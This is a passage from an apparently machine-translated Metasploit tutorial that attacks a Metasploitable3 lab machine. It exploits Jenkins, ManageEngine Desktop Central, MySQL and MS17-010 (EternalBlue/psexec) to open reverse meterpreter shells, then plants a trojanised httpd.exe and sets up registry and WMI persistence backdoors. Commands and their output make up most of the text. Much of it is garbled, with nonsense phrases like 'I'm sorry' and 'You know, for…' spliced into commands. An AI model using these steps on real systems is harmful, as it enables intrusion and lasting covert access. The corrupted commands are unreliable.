  6. msf5 exploit(multi/http/jenkins_script_console) > Set TARGETURI /
  7. TARGETURI => /
  8. msf5 exploit(multi/http/jenkins_script_console) > exploit
  9. [*] Started reverse TCP handler I’m sorry. 192.168.177.143:4444
  10. [*] Checking access I’m sorry. That’s it. script console
  11. [*] No, no. authentication required, skipping login…
  12. [*] 192.168.177.144:8484 – Sending command stager…
  13. [*] Command Stager progress – 2.06% done (2048/99626 bytes)
  14. [*] Command Stager progress – 4.11% done (4096/99626 bytes)
  15. [*] Command Stager progress – 6.17% done (6144/99626 bytes)
  16. ….
  17. [*] Command Stager progress – 98.67% done (98304/99626 bytes)
  18. [*] Command Stager progress – 100.00% done (99626/99626 bytes)
  19. [*] Sending stage (179779 bytes) I’m sorry. 192.168.177.144
  20. [*] Meterpreter session 2 opened (192.168.177.143:4444 -> 192.168.177.144:49555) It’s not like I’m gonna be able to do this. 2019-04-26 17:32:58 +0800
  21. meterpreter > sysinfo
  22. Computer : METASPLOITABLE3
  23. OS: Windows 2008 R2 (Build 7601, Service Pack 1).
  24. Architecture : x64
  25. System Language: en_US
  26. Domain: WORKGROUP
  27. Logged On Users : 2
  28. Meterpreter : x86/windows
  29. meterpreter > getuid
  30. Server username: NT AUTHORITY\LOCAL SERVICE
  31. meterpreter >
  32. Copy Code

Attack!ManageEngine Desktop Central 9

  1. msf5 exploit(multi/http/jenkins_script_console) > search type:exploit Manageengine
  2. Matching Modules
  3. ================
  4. # Name Disclosure Date Rank Check Description
  5. – —- ————— —- —– ———–
  6. 1 exploit/multi/http/eventlog_file_upload 2014-08-31 excellent Yes ManageEngine Eventlog Analyzer Arbitrary File Upload
  7. 2 exploit/multi/http/manage_engine_dc_pmp_sqli 2014-06-08 excellent Yes ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
  8. 3 exploit/multi/http/manageengine_auth_upload 2014-12-15 excellent Yes ManageEngine Multiple Products Authenticated File Upload
  9. 4 exploit/multi/http/manageengine_sd_uploader 2015-08-20 excellent Yes ManageEngine ServiceDesk More Arbitrary File Upload
  10. 5 exploit/multi/http/manageengine_search_sqli 2012-10-18 excellent Yes ManageEngine Security Manager More 5.5 Build 5505 SQL Injection
  11. 6 exploit/multi/http/opmanager_socialit_file_upload 2014-09-27 excellent Yes ManageEngine OpManager I’m sorry. Social IT Arbitrary File Upload
  12. 7 exploit/windows/http/desktopcentral_file_upload 2013-11-11 excellent Yes ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload
  13. 8 exploit/windows/http/desktopcentral_statusupdate_upload 2014-08-31 excellent Yes ManageEngine Desktop Central StatusUpdate Arbitrary File Upload
  14. 9 exploit/windows/http/manage_engine_opmanager_rce 2015-09-14 manual Yes ManageEngine OpManager Remote Code Execution
  15. 10 exploit/windows/http/manageengine_adshacluster_rce 2018-06-28 excellent Yes Manage Engine Exchange Reporter More Unauthenticated RCE
  16. 11 exploit/windows/http/manageengine_appmanager_exec 2018-03-07 excellent Yes ManageEngine Applications Manager Remote Code Execution
  17. 12 exploit/windows/http/manageengine_apps_mngr 2011-04-08 average No, no. ManageEngine Applications Manager Authenticated Code Execution
  18. 13 exploit/windows/http/manageengine_connectionid_write 2015-12-14 excellent Yes ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability
  19. 14 exploit/windows/misc/manageengine_eventlog_analyzer_rce 2015-07-11 manual Yes ManageEngine EventLog Analyzer Remote Code Execution
  20. msf5 exploit(multi/http/jenkins_script_console) >
  21. Copy Code
  1. msf5 exploit(multi/http/jenkins_script_console) > # I’m not gonna let you go # exploit/windows/http/manageengine_connectionid_write
  2. msf5 exploit(windows/http/manageengine_connectionid_write) > Set PAYLOAD windows/meterpreter/reverse_http
  3. PAYLOAD => windows/meterpreter/reverse_http
  4. msf5 exploit(windows/http/manageengine_connectionid_write) > Set LHOST 192.168.177.143
  5. LHOST => 192.168.177.143
  6. msf5 exploit(windows/http/manageengine_connectionid_write) > exploit
  7. [–] Exploit failed: The following options failed to validate: RHOSTS.
  8. [*] Exploited completed, I’m sorry, but… No, no. session Was… created.
  9. msf5 exploit(windows/http/manageengine_connectionid_write) > Set RHOSTS 192.168.177.144
  10. RHOSTS => 192.168.177.144
  11. msf5 exploit(windows/http/manageengine_connectionid_write) > exploit
  12. [*] Started HTTP reverse handler I’m sorry. http://192.168.177.143:8080
  13. [*] Creating JSP stager
  14. [*] Uploading JSP stager uBzAP.jsp…
  15. [*] Executing stager…
  16. [*] http://192.168.177.143:8080 handling request from 192.168.177.144; (UUID: tsqgh8zb) Staging x86 payload (180825 bytes) …
  17. [*] Meterpreter session 3 opened (192.168.177.143:8080 -> 192.168.177.144:49632) It’s not like I’m gonna be able to do this. 2019-04-26 17:39:09 +0800
  18. [!] This exploit Maybe. require manual cleanup Of course. ‘../webapps/DesktopCentral/jspf/uBzAP.jsp’ I’m sorry. That’s it. target
  19. meterpreter >
  20. meterpreter > getuid
  21. Server username: NT AUTHORITY\LOCAL SERVICE
  22. meterpreter > sysinfo
  23. Computer : METASPLOITABLE3
  24. OS : Windows 2008 R2 (Build 7601, Service Pack 1).
  25. Architecture : x64
  26. System Language: en_US
  27. Domain : WORKGROUP
  28. Logged On Users : 2
  29. Meterpreter : x86/windows
  30. meterpreter >
  31. Copy Code

5. Utilization of public services

Some services were associated with most other targeted services when the breach was attacked, and in most cases they were neglected.

Preparatory work

In this section, we will use the most common and vulnerable services in the target environment –Mysql. Most of the time, we can use it.MysqlService because they’re installed for development purposes.rootPassword or set a strong password.Metasploitable3As a target.

How?

Use the target.MysqlService, let’s use it first.MySQLCount the targets in the module, then use theOracle MySQL for the Microsoft Windows PayloadThe attack module to get the remote host.shell. TIP:mysql_paylodThe module is in the new edition.MetasploitIt’s been removed. But you can take it from https://www.exploit-db.com/download/16957Download this module and put it onMetasploitCorresponding module directory(s)/usr/share/metasploit-framework/modules/exploits/windows/mysql) The first few actions to modify the code are as follows.

  1. ##
  2. # $Id: mysql_payload.rb 11899 2011-03-08 22:42:26Z todb $
  3. ##
  4. ##
  5. # This file is part of the Metasploit Framework and may be subject to
  6. # redistribution and commercial restrictions. Please see the Metasploit
  7. # Framework web site for more information on licensing and terms of use.
  8. # http://metasploit.com/framework/
  9. ##
  10. require ‘msf/core’
  11. class MetasploitModule < Msf::Exploit::Remote
  12. Rank = ExcellentRanking
  13. include Msf::Exploit::Remote::MYSQL
  14. include Msf::Exploit::CmdStager
  15. Copy Code

Enumeration:

  1. msf5 auxiliary(admin/mysql/mysql_enum) > use auxiliary/admin/mysql/mysql_enum
  2. msf5 auxiliary(admin/mysql/mysql_enum) > Set RHOSTS 192.168.177.144
  3. RHOSTS => 192.168.177.144
  4. msf5 auxiliary(admin/mysql/mysql_enum) > set USERNAME root
  5. USERNAME => root
  6. msf5 auxiliary(admin/mysql/mysql_enum) > Run!
  7. [*] Running module against 192.168.177.144
  8. [*] 192.168.177.144:3306 – Running MySQL Enumerator…
  9. [*] 192.168.177.144:3306 – Enumerating Parameters
  10. [*] 192.168.177.144:3306 – MySQL Version: 5.5.20-Log.
  11. [*] 192.168.177.144:3306 – Compiled You know, for… the following OS: Win64.
  12. [*] 192.168.177.144:3306 – Architecture: x86
  13. [*] 192.168.177.144:3306 – Server Hostname: available3
  14. [*] 192.168.177.144:3306 – Data Directory: c:\wamp\bin\mysql\mysql5.5.20\data\
  15. [*] 192.168.177.144:3306 – Logging of queries and logins: OFF
  16. [*] 192.168.177.144:3306 – Old Password Hashing Algorithm OFF
  17. [*] 192.168.177.144:3306 – Loading of local files: ON
  18. [*] 192.168.177.144:3306 – Deny logins with old Pre-4.1 Passwords: OFF
  19. [*] 192.168.177.144:3306 – Allow Use of symlinks You know, for… Database Files: YES
  20. [*] 192.168.177.144:3306 – Allow Table Merge:
  21. [*] 192.168.177.144:3306 – SSL. Connection: DISABLED
  22. [*] 192.168.177.144:3306 – Enumerating Accounts:
  23. [*] 192.168.177.144:3306 – List of Accounts with Password Hashes:
  24. [+] 192.168.177.144:3306 – User: root Host: localhost Password Hash:
  25. [+] 192.168.177.144:3306 – User: root Host: 127.0.0.1 Password Hash:
  26. [+] 192.168.177.144:3306 – User: root Host: ::1 Password Hash:
  27. [+] 192.168.177.144:3306 – User: Host: localhost Password Hash:
  28. [+] 192.168.177.144:3306 – User: root Host: % Password Hash:
  29. [*] 192.168.177.144:3306 – The following users have GRANT Privilege:
  30. [*] 192.168.177.144:3306 – User: root Host: localhost
  31. [*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
  32. [*] 192.168.177.144:3306 – User: root Host: ::1
  33. [*] 192.168.177.144:3306 – The following users have CREATE USER Privilege:
  34. [*] 192.168.177.144:3306 – User: root Host: localhost
  35. [*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
  36. [*] 192.168.177.144:3306 – User: root Host: ::1
  37. [*] 192.168.177.144:3306 – User: root Host: %
  38. [*] 192.168.177.144:3306 – The following users have RELOAD Privilege:
  39. [*] 192.168.177.144:3306 – User: root Host: localhost
  40. [*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
  41. [*] 192.168.177.144:3306 – User: root Host: ::1
  42. [*] 192.168.177.144:3306 – User: root Host: %
  43. [*] 192.168.177.144:3306 – The following users have SHUTDOWN Privilege:
  44. [*] 192.168.177.144:3306 – User: root Host: localhost
  45. [*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
  46. [*] 192.168.177.144:3306 – User: root Host: ::1
  47. [*] 192.168.177.144:3306 – User: root Host: %
  48. [*] 192.168.177.144:3306 – The following users have SUPER Privilege:
  49. [*] 192.168.177.144:3306 – User: root Host: localhost
  50. [*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
  51. [*] 192.168.177.144:3306 – User: root Host: ::1
  52. [*] 192.168.177.144:3306 – User: root Host: %
  53. [*] 192.168.177.144:3306 – The following users have FILE Privilege:
  54. [*] 192.168.177.144:3306 – User: root Host: localhost
  55. [*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
  56. [*] 192.168.177.144:3306 – User: root Host: ::1
  57. [*] 192.168.177.144:3306 – User: root Host: %
  58. [*] 192.168.177.144:3306 – The following users have PROCESS Privilege:
  59. [*] 192.168.177.144:3306 – User: root Host: localhost
  60. [*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
  61. [*] 192.168.177.144:3306 – User: root Host: ::1
  62. [*] 192.168.177.144:3306 – User: root Host: %
  63. [*] 192.168.177.144:3306 – The following accounts have privileges to the mysql database:
  64. [*] 192.168.177.144:3306 – User: root Host: localhost
  65. [*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
  66. [*] 192.168.177.144:3306 – User: root Host: ::1
  67. [*] 192.168.177.144:3306 – User: root Host: %
  68. [*] 192.168.177.144:3306 – Anonymous Accounts are Present:
  69. [*] 192.168.177.144:3306 – User: Host: localhost
  70. [*] 192.168.177.144:3306 – The following accounts have empty passwords:
  71. [*] 192.168.177.144:3306 – User: root Host: localhost
  72. [*] 192.168.177.144:3306 – User: root Host: 127.0.0.1
  73. [*] 192.168.177.144:3306 – User: root Host: ::1
  74. [*] 192.168.177.144:3306 – User: Host: localhost
  75. [*] 192.168.177.144:3306 – User: root Host: %
  76. [*] 192.168.177.144:3306 – The following accounts are not restricted by source:
  77. [*] 192.168.177.144:3306 – User: root Host: %
  78. [*] Auxiliary module execution completed
  79. msf5 auxiliary(admin/mysql/mysql_enum) >
  80. Copy Code

Attack:

  1. msf5> # I’m not gonna let you go # exploit/windows/mysql/mysql_payload
  2. msf5 exploit(windows/mysql/mysql_payload) > show options
  3. msf5 exploit(windows/mysql/mysql_payload) > Set RHOSTS 192.168.177.144
  4. RHOSTS => 192.168.177.144
  5. msf5 exploit(windows/mysql/mysql_payload) > Set PAYLOAD windows/meterpreter/reverse_tcp
  6. PAYLOAD => windows/meterpreter/reverse_tcp
  7. msf5 exploit(windows/mysql/mysql_payload) > Set LHOST 192.168.177.143
  8. LHOST => 192.168.177.143
  9. msf5 exploit(windows/mysql/mysql_payload) > Set LPORT 4444
  10. LPORT => 4444
  11. msf5 exploit(windows/mysql/mysql_payload) > exploit
  12. [*] Started reverse TCP handler I’m sorry. 192.168.177.143:4444
  13. [*] 192.168.177.144:3306 – Checking target architecture…
  14. [*] 192.168.177.144:3306 – Checking You know, for… sys_exec()…
  15. [*] 192.168.177.144:3306 – sys_exec() already available, using that (override with Force_UDF_UPLOAD)
  16. [*] 192.168.177.144:3306 – Command Stager progress – 1.47% done (1499/102246 bytes)
  17. [*] 192.168.177.144:3306 – Command Stager progress – 2.93% done (2998/102246 bytes)
  18. [*] 192.168.177.144:3306 – Command Stager progress – 4.40% done (4497/102246 bytes)
  19. [*] 192.168.177.144:3306 – Command Stager progress – 5.86% done (5996/102246 bytes)
  20. ……
  21. [*] Sending stage (179779 bytes) I’m sorry. 192.168.177.144
  22. [*] 192.168.177.144:3306 – Command Stager progress – 100.00% done (102246/102246 bytes)
  23. [*] Meterpreter session 1 opened (192.168.177.143:4444 -> 192.168.177.144:55358) It’s not like I’m gonna be able to do this. 2019-04-26 16:25:45 +0800
  24. meterpreter > getuid
  25. Server username: NT AUTHORITY\SYSTEM
  26. meterpreter >
  27. Copy Code

If the targetMysqlNo SettingsrootPassword, so you can use MySQLService UploadshellAnd get remote access to the system. It’s just like above. So don’t forget the basic service penetration tests. Even if you think that no one is stupid enough to configure uncoded services.

Six, MS17-010 Blue of Eternal SMB remote code for Windows inner nuclear damage.

Reuse information collected during the information-gathering and scanning phases, in particularMS17-010 SMB RCEThe output of the test aids module allows us to turn to the next vulnerable service.

Preparatory work

MS17-010 EthernalBlue SMB Remote Windows Kernel Pool CorruptionThe attack module is…Equation Group ETERNALBLUEPart of it.Equation Group ETERNALBLUEYes.FuzzBunch toolkitPart of it.Shadow BrokrsAccessed and made public by the United States National Security Agency (NSA).ETERNALBLUEIt’s usually thought of as a resultNSADevelop. It usessrv.sysI’m working on it.SrvOs2FeaListSizeToNtWhen the logic is wrong, it leads to cross-border copies and thus spills over the buffer zone, allowing us to carry out arbitrary orders.WannaCryExtortion software to attack. This loophole affects all operationsSMBv1Service not updatedSMBSafety patch.WindowsComputers andWindowsServers.

How?

Organisationms17_010_eternalblueModules, Set TargetIPAddress, SettingsPayloadAnd then they’re going to attack.

  1. msf5 exploitation(windows/smb/ms17_010_eternalblue) > Set RHOSTS 192.168.177.144
  2. RHOSTS => 192.168.177.144
  3. msf5 exploitation(windows/smb/ms17_010_eternalblue) > Set PAYLOAD windows/x64/meterpreter/reverse_tcp
  4. PAYLOAD => windows/x64/meterpreter/reverse_tcp
  5. msf5 exploitation(windows/smb/ms17_010_eternalblue) > Set LHOST 192.168.177.143
  6. LHOST => 192.168.177.143
  7. msf5 exploitation(windows/smb/ms17_010_eternalblue) > Set LPORT 4444
  8. msf5 exploitation(windows/smb/ms17_010_eternalblue) > exploit
  9. [*] Started reverse TCP handler I’m sorry. 192.168.177.143:4444
  10. [*] 192.168.177.144:445 – Connecting I’m sorry. target You know, for… exploitation.
  11. [+] 192.168.177.144:445 – Connection established You know, for… exploitation.
  12. [+] 192.168.177.144:445 – Target OS selected valid You know, for… OS indicated I don’t know. SMB reply
  13. [*] 192.168.177.144:445 – CORE I’m sorry, Raw. buffer dump (51 bytes)
  14. [*] 192.168.177.144:445 – 0x10000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
  15. [*] 192.168.177.144:445 – 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
  16. [*] 192.168.177.144:445 – 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac.
  17. [*] 192.168.177.144:445 – 0x00000030 6b 20 31 k 1
  18. [+] 192.168.177.144:445 – Target arch selected valid You know, for… arch indicated I don’t know. DCE/RPC reply
  19. [*] 192.168.177.144:445 – Trying exploit with 12 Groom Allocations.
  20. [*] 192.168.177.144:445 – Sending All of them. I’m sorry, but… last fragment Of course. exploit packet
  21. [*] 192.168.177.144:445 – Starting non-paged pool grooming
  22. [+] 192.168.177.144:445 – Sending SMBv2 buffers
  23. [+] 192.168.177.144:445 – Closing SMBv1 Connection creating free hole adjacent I’m sorry. SMBv2 buffer.
  24. [*] 192.168.177.144:445 – Sending Final SMBv2 buffers.
  25. [*] 192.168.177.144:445 – Sending last fragment Of course. exploit packet!
  26. [*] 192.168.177.144:445 – Receiving response from exploit packet
  27. [+] 192.168.177.144:445 – ETERNALBLUE overwrite completed successfully (0xC000000D)
  28. [*] 192.168.177.144:445 – Sending I don’t know. I’m sorry. corrupted Connection.
  29. [*] 192.168.177.144:445 – Triggering free Of course. corrupted buffer.
  30. [*] Meterpreter session 1 opened (192.168.177.143:4444 -> 192.168.177.144:49655) It’s not like I’m gonna be able to do this. 2019-04-26 17:40:54 +0800
  31. [+] 192.168.177.144:445 – =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  32. [+] 192.168.177.144:445 – ♪———————————————————————————————————————————————————————————
  33. [+] 192.168.177.144:445 – =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  34. meterpreter >
  35. meterpreter > sysinfo
  36. Computer : METASPLOITABLE3
  37. OS : Windows 2008 R2 (Build 7601, Service Pack 1).
  38. Architecture : x64
  39. System Language: en_US
  40. Domain : WORKGROUP
  41. Logged On Users : 2
  42. Meterpreter : x64/windows
  43. meterpreter > getuid
  44. Server username: NT AUTHORITY\SYSTEM
  45. meterpreter >
  46. Copy Code

7、MS17-010 EternalRomance/EternalSynergy/EternalChampion

MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code ExecutionThe attack module can also be used.MS17-0101The loophole is exploited. And more than that.EnternalBlueMore reliable, but with a naming pipeline.

How?

Use modulems17_010_psexec

  1. msf5 > # I’m not gonna let you go # exploit/windows/smb/ms17_010_psexec
  2. msf5 exploit(windows/smb/ms17_010_psexec) > Set RHOSTS 192.168.177.144
  3. RHOSTS => 192.168.177.144
  4. msf5 exploit(windows/smb/ms17_010_psexec) > Set PAYLOAD windows/meterpreter/reverse_tcp
  5. PAYLOAD => windows/meterpreter/reverse_tcp
  6. msf5 exploit(windows/smb/ms17_010_psexec) > Set LHOST 192.168.177.143
  7. LHOST => 192.168.177.143
  8. msf5 exploit(windows/smb/ms17_010_psexec) > exploit
  9. [*] Started reverse TCP handler I’m sorry. 192.168.177.143:4444
  10. [*] 192.168.177.144:445 – Target OS: Windows Server 2008 R2 Standard 7601 Service Pack 1
  11. [*] 192.168.177.144:445 – Built a write-what-where primitive…
  12. [+] 192.168.177.144:445 – Overwrite complete… SYSTEM session obtained!
  13. [*] 192.168.177.144:445 – Selecting PowerShell target
  14. [*] 192.168.177.144:445 – Executing That’s it. payload…
  15. [+] 192.168.177.144:445 – Service start timed Out, OK If… running a command # Or # non-service executable…
  16. [*] Sending stage (179779 bytes) I’m sorry. 192.168.177.144
  17. [*] Meterpreter session 2 opened (192.168.177.143:4444 -> 192.168.177.144:62432) It’s not like I’m gonna be able to do this. 2019-04-28 09:37:48 +0800
  18. meterpreter > getuid
  19. Server username: NT AUTHORITY\SYSTEM
  20. meterpreter > sysinfo
  21. Computer : METASPLOITABLE3
  22. OS: Windows 2008 R2 (Build 7601, Service Pack 1).
  23. Architecture : x64
  24. System Language: en_US
  25. Domain: WORKGROUP
  26. Logged On Users : 2
  27. Meterpreter : x86/windows
  28. meterpreter >
  29. Copy Code

8. Installation of the back door

AccessshellAfter that, if we need to ensure a sustainable access system, we need to install the back door.

Preparatory work

We’ve got the target machine.sessionWe’ll use it.meterpreter sessionTo install a back door service. Here you go.httpd.exeExample.

  1. meterpreter > Ps. -S httpd.exe
  2. Filtering I’m sorry. ‘httpd.exe’
  3. Process List
  4. ============
  5. PID PPID Name Arch Session User Path
  6. — —- —- —- ——- —- —-
  7. 1304 1816 dcserverhttpd.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\ManageEngine\DesktopCentral_Server\apache\bin\dcserverhttpd.exe
  8. 1816 472 dcserverhttpd.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\ManageEngine\DesktopCentral_Server\apache\bin\dcserverhttpd.exe
  9. 3180 472 httpd.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\wamp\bin\apache\Apache2.2.21\bin\httpd.exe
  10. 3880 3180 httpd.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\wamp\bin\apache\Apache2.2.21\bin\httpd.exe
  11. meterpreter >
  12. Copy Code

Next, we’ll use it.windowsThe registration form persistence module is installed with the system’s startup back door.WMI(Windows Management Information) Create a back door without files.

How?

1. The back door cannot be installed while the program is running, so kill the process first

  1. meterpreter > kill 3880
  2. Killing: 3880
  3. meterpreter >
  4. Copy Code

2. Programs that will need to be replaced with back doors downloaded

  1. meterpreter > download C:\\wamp\\# By the way\\apache\\apache2.2.21\\# By the way\\httpd.exe
  2. [*] Downloading: C:\wamp\# By the way\apache\apache2.2.21\# By the way\httpd.exe –> httpd.exe
  3. [*] Downloaded 21.00 KiB Of course. 21.00 KiB (100.0%): C:\wamp\# By the way\apache\apache2.2.21\# By the way\httpd.exe –> httpd.exe
  4. [*] download : C:\wamp\# By the way\apache\apache2.2.21\# By the way\httpd.exe –> httpd.exe
  5. meterpreter >
  6. Copy Code

Go back to the backstage, usereverse_tcpAttack load, usegenerateGenerates a back door file.

  1. msf5 exploit(windowsI don’t know. /smb/ms17_010_psexec) > use payload/windows/x64/meterpreter/reverse_tcp
  2. msf5 payload(windows/x64meterpreter/reverse_tcp) > Set LHOST 192.168.177.143
  3. LHOST => 192.168.177.143
  4. msf5 payload(windows/x64meterpreter/reverse_tcp) > generate -p Windows -x /root/httpd.exe -k -f exe -o /root/httpd-backdoored.exe
  5. [*] Writing 29184 bytes to /root/httpd-backdoored.exe…
  6. msf5 payload(windows/x64meterpreter/reverse_tcp) >
  7. Copy Code

Aboutgenerate, you can view help information

  1. msf5 payload(windows/x64/meterpreter/reverse_tcp) > generate -h
  2. Usage: generate [options]
  3. Generates a payload.
  4. OPTIONS:
  5. -E Force encoding
  6. -O <I don’t know.> Deprecated: alias You know, for… That’s it. “-o” option
  7. -P <I don’t know.> Total desired payload size, auto-produce approproate NOPsled length
  8. -S <I don’t know.> The new section name I’m sorry. use when generating (large) Windows binaries
  9. – B-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b—-b-b-b-b-b-b–b–b-b-b— <I don’t know.> The list Of course. characters I’m sorry. avoid example: ‘\x00\xff’
  10. – E-e-e. <I don’t know.> The encoder I’m sorry. # I’m not gonna let you go #
  11. – F-f. <I don’t know.> Output format: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh,psh-cmd,psh-net,psh-reflection,vba,vba-x,vba-psh,vb
  12. -h Show this message
  13. – I don’t know. <I don’t know.> The number Of course. times I’m sorry. encode the payload
  14. -k Preserve the template behavior I’m sorry. inject the payload # As if a new thread
  15. – No, I don’t. <I don’t know.> Prepend a nopsled Of course. [length] size I’m sorry. I’m sorry. the payload
  16. – Oh, my God. <I don’t know.> The output file name (otherwise stdout)
  17. P-p. <I don’t know.> The platform Of course. the payload
  18. – I’m sorry. <I don’t know.> NOP sled length.
  19. – x-x. <I don’t know.> Specify a custom executable file I’m sorry. # I’m not gonna let you go # # As if a template
  20. Copy Code

4. Activate a listening, monitor the reverse connection of the back door and useexpolit -jRun in the background

  1. msf5 payload(windows/x64/meterpreter/reverse_tcp) > # I’m not gonna let you go # exploit/multi/handler
  2. msf5 exploit(multi/handler) > Set payload windows/x64/meterpreter/reverse_tcp
  3. payload => windows/x64/meterpreter/reverse_tcp
  4. msf5 exploit(multi/handler) > Set LHOST 192.168.177.143
  5. LHOST => 192.168.177.143
  6. msf5 exploit(multi/handler) > exploit – J-J.
  7. [*] Exploited running # As if background @elder: %1 0.
  8. [*] Exploited completed, I’m sorry, but… No, no. session Was… created.
  9. [*] Started reverse TCP handler I’m sorry. 192.168.177.143:4444
  10. msf5 exploit(multi/handler) >
  11. Copy Code

Five, cut back.meterpreter session, upload the back door file and rename it.

  1. msf5 exploit(multi/handler) > sessions -i 3
  2. [*] Starting interaction with 3...
  3. meterpreter > cd C:\\wamp\\bin\\apache\\apache2.2.21\\bin ⁇
  4. meterpreter > mv httpd.exe httpd.exe.backup
  5. meterpreter > upload /root/httpd-backdoored.exe
  6. [*] uploading : /root/httpd-backdoored.exe -> httpd-backdoored.exe
  7. [*] Uploaded 28.50 KiB of 28.50 KiB()100.0%): /root/httpd-backdoored.exe -> httpd-backdoored.exe
  8. [*] uploaded : /root/httpd-backdoored.exe -> httpd-backdoored.exe
  9. meterpreter > mv httpd-backdoored.exe httpd.exe
  10. meterpreter >
  11. Copy Code

6. UseshellCommand to target system.shell, resetwampapacheServices.

  1. meterpreter > shell
  2. Process 1976 created.
  3. Channel 3 created.
  4. Microsoft Windows [Version 6.1.7601]
  5. Copyright (c) 2009 Microsoft Corporation. All rights reserved.
  6. C:\wamp\bin\apache\apache2.2.21\bin>net stop wampapache
  7. Net stop wampapache
  8. The wampapache service is stopping.net sta
  9. The wampapache service was stopped successfully.
  10. C:\wamp\bin\apache\apache2.2.21\bin>net start wampapache
  11. [*] Sending stage (206403 bytes) to 192.168.177.144
  12. Net start wampapache
  13. The wampapache service is starting.
  14. The wampapache service was started successfully.
  15. Copy Code

You’ll find that after service starts, you return to a new session.

  1. C:\wamp\bin\apache\apache2.2.21\bin>[*] Meterpreter session 4 opened (192.168.177.143:4444 -> 192.168.177.144:63068) It’s not like I’m gonna be able to do this. 2019-04-28 10:32:44 +0800
  2. [*] Sending stage (206403 bytes) I’m sorry. 192.168.177.144
  3. [*] Meterpreter session 5 opened (192.168.177.143:4444 -> 192.168.177.144:63069) It’s not like I’m gonna be able to do this. 2019-04-28 10:32:59 +0800
  4. ….
  5. msf5 exploit(multi/handler) > sessions – I’m sorry.
  6. Active sessions
  7. ===============
  8. Id. Name Type Information Connection
  9. — —- —- ———– ———-
  10. 3 meterpreter x86/windows NT AUTHORITY\SYSTEM @ METASPLOITABLE3 192.168.177.143:4444 -> 192.168.177.144:62506 (192.168.177.144)
  11. 4 meterpreter x64/windows NT AUTHORITY\LOCAL SERVICE @ METASPLOITABLE3 192.168.177.143:4444 -> 192.168.177.144:63068 (192.168.177.144)
  12. 5 meterpreter x64/windows NT AUTHORITY\LOCAL SERVICE @ METASPLOITABLE3 192.168.177.143:4444 -> 192.168.177.144:63069 (192.168.177.144)
  13. msf5 exploit(multi/handler) >
  14. Copy Code

7. UseWindowsThe registration form lasting module is implanted in the back door. We use the conversation obtained by the Blue Entire Attack for rear-door implantation.

  1. msf5 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/local/registry_persistence
  2. smsf5 exploit(windows/local/registry_persistence) > Set SESSION 6
  3. SESSION => 6
  4. msf5 exploit(windows/local/registry_persistence) > Set PAYLOAD windows/meterpreter/reverse_tcp
  5. PAYLOAD => windows/meterpreter/reverse_tcp
  6. msf5 exploit(windows/local/registry_persistence) > Set LHOST 192.168.177.143
  7. LHOST => 192.168.177.143
  8. msf5 exploit(windows/local/registry_persistence) > Set LPORT 9999
  9. msf5 exploit(windows/local/registry_persistence) > exploit
  10. [*] Generating payload blob..
  11. [+] Generated payload, 5944 bytes
  12. [*] Root path Yes. HKCU
  13. [*] Installing payload blob..
  14. [+] Created registry key HKCU\Software\cPH3pG4G
  15. [+] Installed payload blob I’m sorry. HKCU\Software\cPH3pG4G\q3jhQYTs
  16. [*] Installing run key
  17. [-] Exploit aborted due I’m sorry. failure: unknown: Could I don’t know, not… install run key
  18. msf5 exploit(windows/local/registry_persistence) >
  19. Copy Code

This is not implanted successfully because of environmental problems. 8 If successful, then you can set up a listening so that the target can be reversed when restartedshellSession

  1. msf5 exploit(multi/handler) > Set PAYLOAD windows/meterpreter/reverse_tcp
  2. PAYLOAD => windows/meterpreter/reverse_tcp
  3. msf5 exploit(multi/handler) > Set LHOST 192.168.177.143
  4. LHOST => 192.168.177.143
  5. msf5 exploit(multi/handler) > Set LPORT 9999
  6. LPORT => 9999
  7. msf5 exploit(multi/handler) > exploit -j
  8. [*] Exploit running # As if background job 1.
  9. [*] Exploit completed, but No, no. session was created.
  10. [*] Started reverse TCP handler I’m sorry. 192.168.177.143:9999
  11. msf5 exploit(multi/handler) >
  12. Copy Code

9 When the target machine is restarted, a session is available.

  1. meterpreter > reboot
  2. Rebooting…
  3. Copy Code

10. UtilizationWMIEvent subscription to create no file back door

  1. msf5 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/local/wmi_persisence
  2. msf5 exploit(windows/local/wmi_persisence) > Set SESSION 1
  3. SESSION => 1
  4. msf5 exploit(windows/local/wmi_persisence) > Set CALLBACK_INTERVAL 60000 / Set callback time is 1 minute
  5. CALLBACK_INTERVAL => 60000
  6. msf5 exploit(windows/local/wmi_persisence) > Set EVENT_ID_TRIGGER 4624 // Setup Event ID
  7. EVENT_ID_TRIGER => 4624
  8. msf5 exploit(windows/local/wmi_persisence) > Set USERNAME_TRIGGER Administrator / Setup user
